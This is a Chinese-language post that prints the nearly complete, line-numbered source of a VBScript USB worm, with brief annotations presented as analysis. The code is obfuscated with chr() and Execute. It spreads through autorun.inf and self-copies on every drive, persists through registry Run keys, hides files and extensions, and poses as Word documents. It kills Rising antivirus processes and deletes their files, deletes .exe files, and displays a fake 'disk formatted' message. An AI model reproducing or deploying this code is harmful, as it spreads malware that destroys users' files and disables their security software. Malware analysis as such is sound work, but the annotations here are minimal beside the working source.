vbs病毒源文件剖析(部分代码)

1. rem vbs.rhl  
2.  
3. Dim fs,r,ss,w,reg,regpath,dvbs  
4. ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & "Scrip" & chr(116) & "ing.File" & chr(83) & "yste" &chr(109) & chr(79) & "bject" & chr(34) & chr(41)  
5. Execute ddd  
6. rrr="set r =" &chr(119) & "scri" & "pt." &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & chr(119) & "scri" & "pt." &chr(115) & "he" & chr(108) & chr(108) & chr(34) & chr(41)  
7. Execute rrr  
8. sss="fs." & chr(103) &"etfil" & chr(101) & chr(40) &chr(119) & "scri" & "pt." & "scri" & chr(112) & "tfull" &chr(110) & "ame" & chr(41)  
9. ttt="set dvbs =" & sss  
10. Execute ttt  
11. r.run (fs.GetSpecialFolder(0)&"\explorer.exe .\")  
12. main()   
13. On Error Resume Next  
14. sub main()  
15. regtime()  
16. finddrive()  
17. countdrive(ss)  
18. regwrite()  
19. ganranfile(ss)  
20. xunhuan()  
21. end sub     
22. Function finddrive()   
23. if dvbs.name="USBDRIVE.dll" then  
24. regwrite()  
25. ganrandisk()  
26. end if  
27. if dvbs.name<>"autorun.vbs" and dvbs.name<>"USBDRIVE.dll" then  
28. regwrite()  
29. dvbs.delete(true)  
30. end if  
31. ss=Trim("")  
32. Set dc = fs.Drives  
33. For Each d In dc  
34. If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then   
35. ss = ss & d.DriveLetter   
36. end if  
37. Next  
38. ss = StrReverse(LCase(Trim(ss)))   
39. end Function  
40. Function countdrive(ss)  
41. On Error Resume Next  
42. dim x  
43. For i = 1 To Len(ss)   
44. x = Mid(ss, i, 1)   
45. if x="" then  
46. x=Mid(ss, 1, 1)  
47. i=1  
48. end if  
49. Set w = fs.GetDrive(x)  
50. ganrandiskroot()  
51. Next  
52. end Function  
53. Function ganrandiskroot()  
54. dim c,s,f,vbc,ts,runreg  
55. On Error Resume Next  
56. If w.DriveType=2 or w.DriveType=1 and w.IsReady Then  
57. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
58. else  
59. fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"  
60. Execute fff  
61. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
62. else  
63. fff=sss & ".copy(" & chr(34) & "D:\System Volume Information\USBDRIVE.dll" &chr(34) & ")"  
64. Execute fff  
65. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
66. Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)  
67. ts.WriteLine "Windows Registry Editor Version 5.00"  
68. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
69. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
70. ts.close  
71. Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")  
72. f.attributes=f.attributes+7  
73. Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)  
74. ts.WriteLine "Windows Registry Editor Version 5.00"  
75. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
76. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
77. ts.close  
78. Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")  
79. f.attributes=f.attributes+7  
80. end if  
81. end if  
82. end if  
83. If fs.FileExists(w.DriveLetter & ":\autorun.vbs") Then  
84. Set c = fs.opentextfile(w.DriveLetter & ":\autorun.vbs", 1)  
85. vbc = c.readall  
86. If InStr(vbc,"vbs.rhl") <> 0 Then  
87. c.Close  
88. Else  
89. c.Close  
90. Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")  
91. c.delete(true)  
92. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"  
93. Execute fff  
94. s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒（病毒）")  
95. Randomize      
96. i= Int((6 * Rnd) + 1)   
97. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"  
98. Execute fff  
99. Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")  
100. b.attributes=b.attributes-b.attributes  
101. Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")  
102. c.attributes=c.attributes+7  
103. If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then  
104. else  
105. if w.DriveLetter="C" then  
106. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)  
107. ts.WriteLine "Windows Registry Editor Version 5.00"  
108. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
109. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
110. ts.close  
111. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")  
112. f.attributes=f.attributes+7  
113. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")  
114. ts.WriteLine "Windows Registry Editor Version 5.00"  
115. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
116. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
117. ts.close  
118. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")  
119. f.attributes=f.attributes+7  
120. else  
121. Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg",true)  
122. ts.WriteLine "Windows Registry Editor Version 5.00"  
123. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
124. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
125. ts.close  
126. Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")  
127. f.attributes=f.attributes+7  
128. Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)  
129. ts.WriteLine "Windows Registry Editor Version 5.00"  
130. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
131. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
132. ts.close  
133. Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")  
134. f.attributes=f.attributes+7  
135. end if  
136. end if  
137. end if  
138. else  
139. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"  
140. Execute fff  
141. s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒（病毒）")  
142. Randomize      
143. i= Int((6 * Rnd) + 1)   
144. fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"  
145. Execute fff  
146. Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")  
147. b.attributes=b.attributes-b.attributes  
148. Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")  
149. c.attributes=c.attributes+7  
150. If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then  
151. else  
152. if w.DriveLetter="C" then  
153. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)  
154. ts.WriteLine "Windows Registry Editor Version 5.00"  
155. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
156. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
157. ts.close  
158. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")  
159. f.attributes=f.attributes+7  
160. Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")  
161. ts.WriteLine "Windows Registry Editor Version 5.00"  
162. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
163. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
164. ts.close  
165. Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")  
166. f.attributes=f.attributes+7  
167. else  
168. Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)  
169. ts.WriteLine "Windows Registry Editor Version 5.00"  
170. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
171. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
172. ts.close  
173. Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")  
174. f.attributes=f.attributes+7  
175. Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)  
176. ts.WriteLine "Windows Registry Editor Version 5.00"  
177. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
178. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
179. ts.close  
180. Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")  
181. f.attributes=f.attributes+7  
182. end if  
183. end if  
184. end if  
185. If fs.FileExists(w.DriveLetter & ":\autorun.inf") Then  
186. Set c = fs.opentextfile(w.DriveLetter & ":\autorun.inf", 1)  
187. vbc = c.readall  
188. If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then  
189. c.Close  
190. Else  
191. Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")  
192. f.attributes=f.attributes-f.attributes  
193. Set ts = f.OpenAsTextStream(2,-2)  
194. ts.WriteLine "[AutoRun]"   
195. ts.WriteLine "open= "  
196. ts.WriteLine ""  
197. ts.WriteLine "shell\open=打开(&O) "  
198. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"   
199. ts.WriteLine "shell\open\Default=1 "  
200. ts.close  
201. f.attributes=f.attributes+7  
202. end if  
203. else  
204. Set ts = fs.CreateTextFile(w.DriveLetter & ":\autorun.inf",true)  
205. ts.WriteLine "[AutoRun]"   
206. ts.WriteLine "open= "  
207. ts.WriteLine ""  
208. ts.WriteLine "shell\open=打开(&O) "  
209. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"  
210. ts.WriteLine "shell\open\Default=1"  
211. ts.close  
212. Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")  
213. f.attributes=f.attributes+7  
214. End If  
215. end if  
216. end Function  
217. Function regwrite()  
218. On Error Resume Next  
219. dim s  
220. a1="HKE" & "Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Mi" & "croso" & "ft\Win" & "dows\Cur" & "rentV" & "ersion\Exp" & "lorer\Ad" & "vanced\" （a1= HKEY_CURRENT_USER\Software\Microso ft\Windows\CurrentVersion\Explorer\Advanced\  
221. a2="HK"&"EY_CLAS"&"SES_RO" & "OT\DLL" & "File\"  （a2=HKEY_CLASSES_ROOT\DLLFile）  
222. a3="HKEY" & "_LOCA" & "L_MACH" & "INE\SOFT" & "WARE\Mi" & "cros" & "oft\Win" & "dows\Cur" & "rentVer" & "sion\poli" & "cies\Expl" & "orer\NoDr" & "iveTypeAutoRun"  
223. （a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun）  
224. a4="HKE" & "Y_CURR" & "ENT_USE" & "R\Softw" & "are\Micr" & "osoft\Wi" & "ndows\Cur" & "rentVersi" & "on\Polici" & "es\Explor" & "er\NoDriveT" & "ypeAutoRun"  
225. （a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun）  
226. a5="HK" & "EY_LO" & "CAL_MA" & "CHINE\Sof" & "tware\Mi" & "croso" & "ft\Wind" & "ows\Curre" & "ntVersi" & "on\Ru" & "n\USBDR" & "IVE.dll"  
227. (a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll)  
228. a6="R.Re" & "gWri" & chr(116) & "e"                  (a6=R.RegWrichr(116) e)  
229. a7="HKE" & "Y_CLAS" & "SES_ROO" & "T\VBSF" & "ile\Defau" & "ltIcon\"  
230. (a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon)  
231. set s=fs.GetDrive(fs.GetDriveName(dvbs.path))    
232. scandoc(fs.GetSpecialFolder(0) & "\Installer")  
233. if reg="wordicon.exe" then  
234. if s="C:" then  
235. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
236. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")  
237. else  
238. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\doc.reg")  
239. end if  
240. else  
241. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
242. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")  
243. else  
244. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\doc.reg")  
245. end if  
246. end if  
247. ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&regpath & ",1"&chr(34)  
248. Execute ppp  
249. else  
250. if s="C:" then  
251. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
252. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")  
253. else  
254. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\vbs.reg")  
255. end if  
256. else  
257. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
258. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")  
259. else  
260. r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\vbs.reg")  
261. end if  
262. end if  
263. ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&fs.GetSpecialFolder(1) & "\shell32.dll,1"&chr(34)  
264. Execute ppp  
265. end if  
266. ppp=a6&Space(2)&chr(34) & a1 & "ShowSuperHidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)  
267. Execute ppp  
268. ppp=a6&Space(2)&chr(34) & a1 & "HideFileExt" &chr(34)& "," & "1," & chr(34)&"REG_DWORD"&chr(34)  
269. Execute ppp  
270. ppp=a6&Space(2)&chr(34) & a1 & "Hidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)  
271. Execute ppp  
272. ppp=a6&Space(2)&chr(34) & a2 & "ScriptEngine\" &chr(34)& "," & chr(34)&"VBScript" & chr(34)  
273. Execute ppp  
274. ppp=a6&Space(2)&chr(34) & a2 & "ScriptHostEncode\" &chr(34)& "," & chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}" & chr(34)  
275. Execute ppp  
276. ppp=a6&Space(1)&chr(34) & a2 & "Shell\Open\Command\" &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1) &"\Wscript.exe" &Space(1)& chr(34) &chr(34) &"%1"&chr(34) & chr(34) &Space(1)& "%*"  & chr(34)  
277. Execute ppp  
278. ppp=a6&Space(2)&chr(34) & a2 & "ShellEx\PropertySheetHandlers\WSHProps\" &chr(34)& "," & chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}" & chr(34)  
279. Execute ppp  
280. ppp=a6&Space(2)&chr(34) & a3 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)  
281. Execute ppp  
282. ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)  
283. Execute ppp  
284. if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then  
285. ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)  
286. Execute ppp  
287. else  
288. ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34)  
289. Execute ppp  
290. end if  
291. if day(date())="27" then                                                   （27号报告错误）  
292. msgbox "小样！你的杀毐软件该升级了，磁盘已被格式化"  
293. End If  
294. end Function  
295. Function scandoc(a)                                                       （定义子函数）  
296. On Error Resume Next                                                      （出错不报告）  
297. dim files,file,subfolder,folder_  
298. set folder_=fs.getfolder(a)   
299. set files=folder_.files   
300. for each file in files             (for each。。。next   对数组或集合中的每个元素重复执行一组语句)  
301. if file.name ="wordicon.exe" then  
302. reg=file.name  
303. regpath=file.path  
304. exit Function  
305. end if  
306. next                                                                 （for each 的next）  
307. set subfolders=folder_.subfolders                                       (set  是一个赋值语句)  
308. for each subfolder in subfolders   
309. scandoc(subfolder)   
310. next    
311. end Function                                                        （结束子程序的定义）  
312. Function regtime()                                   (定义一个子程序添加注册表，结束瑞星)  
313. a6="R.Re" & "gWri" & chr(116) & "e"               （a6= R.RegWri chr(116)e  chr（116）是值）  
314. a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" &"iptingHo"&"st\Settin"&"gs\Timeou                  （a8=注册表HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout）  
315. ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)  
316. Execute ppp                                          （对指定的字符串执行正则表达式搜索）  
317. dim NameorPID  
318. kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")  
319. for i=0 to 4  
320. KillProcess(kill(i))                                                     （结束4个瑞星程序）  
321. next  
322. end Function                                                           （结束这个子程序）  
323. Function ganranfile(aa)                                                   （定义一个子程序）  
324. On Error Resume Next                                                       （出错不报告）  
325. dim x  
326. For i = 1 To Len(aa)          （len函数  返回字符串内字符的数目，或是存储一变量所需的字节数）  
327. x = Mid(aa, i, 1)             （mid函数  从字符串中返回指定数目的字符。这里是一个个返回给X）  
328. if x="" then  
329. x=Mid(aa, 1, 1)  
330. i=1  
331. end if  
332. Set x = fs.GetDrive(x)   
333. if x.IsReady then  
334. scan(x)  
335. else  
336. xunhuan()  
337. end if  
338. Next  
339. end Function                                                    （结束本子程序，作用不明）  
340. Function scan(x)                                                 （定义子程序   scan(a)  ）  
341. On Error Resume Next                                             ( 出错不报告 )  
342. dim files,file,subfolder,folder_  
343. set folder_=fs.getfolder(x)   
344. set files=folder_.files   
345. for each file in files  
346. s=file.path  
347. ext=fs.GetExtensionName(file)   
348. ext=lcase(ext)                                        （  lcase函数   返回字符串的小写形式）  
349. if ext="doc" then   
350. fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")"    （fff是sss.copy加几个字符  
351. 怀疑这个几个字符组成一个文件名）  
352. Execute fff  
353. end if   
354. next   
355. set subfolders=folder_.subfolders   
356. for each subfolder in subfolders   
357. scan(subfolder)   
358. next   
359. end Function  
360. Function ganrandisk()   
361. On Error Resume Next  
362. regwrite()  
363. dim doc, d, s, coun,w,h,oo  
364.   Set doc = fs.Drives  
365. for each k in doc  
366. if k.IsReady then  
367. h=h & k.DriveLetter  
368. end if  
369. next  
370. t1=len(Trim(h))  
371. coun=doc.count  
372. do while coun>0  
373. oo=h & w  
374. clearinfo(oo)  
375. wscript.sleep 50  
376. Set d = fs.Drives  
377. if d.count>coun then  
378. for each k in d  
379. if k.IsReady then  
380. s=s & k.DriveLetter  
381. end if  
382. next  
383. coun=d.count  
384. t= StrReverse(LCase(Trim(s)))   
385. w=mid(t,1,abs(len(t)-t1))  
386. countdrive(w)  
387. ganranfile(w)  
388. s=trim("")  
389. t1=len(t)  
390. end if  
391. if d.count<coun then  
392. for each k in d  
393. if k.IsReady then  
394. s=s & k.DriveLetter  
395. end if  
396. next  
397. coun=d.count  
398. t= StrReverse(LCase(Trim(s)))   
399. s=trim("")  
400. t1=len(t)  
401. end if  
402. loop  
403. end Function  
404. Function xunhuan()  
405. On Error Resume Next  
406. dim sfo  
407. set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path))   
408. if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then  
409. if sfo.DriveType=2 then   
410. ganrandisk()   
411. else  
412. wscript.quit  
413. end if  
414. else  
415. dvbs.delete(true)  
416. end if  
417. end Function  
418.  
419. Function clearinfo(oo)  
420. On Error Resume Next  
421. dim dc,z  
422. oo =LCase(Trim(oo))  
423. For m = 1 To Len(oo)   
424. z = Mid(oo, m, 1)   
425. Set z = fs.GetDrive(z)  
426. findinf(z)  
427. v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information")  
428. for i= 0 to 1  
429. scanexe(v(i))  
430. next  
431. next  
432. vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")  
433. for i=0 to 2  
434. scanexe(vir(i))  
435. next  
436. end Function   
437. Function scanexe(a)  
438. wscript.sleep 100  
439. On Error Resume Next  
440. dim files,file,folder_  
441. if fs.FolderExists(a) then  
442. set folder_=fs.getfolder(a)   
443. set files=folder_.files   
444. for each file in files  
445. ext=fs.GetExtensionName(file)   
446. ext=lcase(ext)   
447. if ext="exe" then   
448. Set f = fs.GetFile(file)  
449. f.delete(true)  
450. end if   
451. next   
452. set subfolders=folder_.subfolders   
453. for each subfolder in subfolders   
454. scanexe(subfolder)   
455. next   
456. end if  
457. end Function  
458. Function findinf(z)  
459. On Error Resume Next  
460. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
461. else  
462. fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"  
463. Execute fff  
464. If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then  
465. else  
466. ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)  
467. Execute ppp  
468. end if  
469. end if  
470. If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then  
471. else  
472. fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")"  
473. Execute fff  
474. Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs")  
475. f.attributes=f.attributes+7  
476. end if  
477. If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then  
478. Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1)  
479. vbc = c.readall  
480. If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then  
481. c.Close  
482. Else  
483. Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")  
484. f.attributes=f.attributes-f.attributes  
485. Set ts = f.OpenAsTextStream(2,-2)  
486. ts.WriteLine "[AutoRun]"                                    （以下建立自动播放文件）   
487. ts.WriteLine "open= "  
488. ts.WriteLine ""  
489. ts.WriteLine "shell\open=打开(&O) "  
490. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"   
491. ts.WriteLine "shell\open\Default=1 "  
492. ts.close  
493. f.attributes=f.attributes+7  
494. end if  
495. else  
496. Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true)  
497. ts.WriteLine "[AutoRun]"   
498. ts.WriteLine "open= "  
499. ts.WriteLine ""  
500. ts.WriteLine "shell\open=打开(&O) "  
501. ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"  
502. ts.WriteLine "shell\open\Default=1"  
503. ts.close  
504. Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")  
505. f.attributes=f.attributes+7  
506. End If  
507. if fs.FileExists(z.DriveLetter & ":\vbs.reg") then  
508. else  
509. Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg", true)  
510. ts.WriteLine "Windows Registry Editor Version 5.00"  
511. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
512. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)  
513. ts.close  
514. Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg")  
515. f.attributes=f.attributes+7  
516. end if  
517. if fs.FileExists(z.DriveLetter & ":\doc.reg") then  
518. else  
519. Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true)  
520. ts.WriteLine "Windows Registry Editor Version 5.00"  
521. ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"  
522. ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)  
523. ts.close  
524. Set f = fs.GetFile(z.DriveLetter & ":\doc.reg")  
525. f.attributes=f.attributes+7  
526. end if  
527. end Function  
528.  
529. Function KillProcess(NameorPID)  
530. On Error Resume Next  
531.     Dim oWMI, oProcs, oProc, strSQL  
532.     KillProcess = False  
533.     strSQL = "SELECT * FROM Win32_Process"  
534.     If NameOrPID <> "" Then  
535.         If IsNumeric(NameOrPID) Then  
536.             strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"  
537.         Else  
538.             strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"  
539.         End If  
540.     End If  
541.     Set oWMI = GetObject("winmgmts:\\.\root\cimv2")  
542.     Set oProcs = oWMI.ExecQuery(strSQL)  
543.     For Each oProc In oProcs  
544.         If IsNumeric(NameOrPID) Then  
545.             oProc.Terminate  
546.             KillProcess = True  
547.         Else  
548.             oProc.Terminate  
549. if day(date())="27" then  
550.        set killfile=fs.getfile( oProc.ExecutablePath)  
551. killfile.delete(true)  
552.         End If  
553. end if  
554.     Next  
555.     Set oProc = Nothing  
556.     Set oProcs = Nothing  
557.     Set oWMI = Nothing  
558. End Function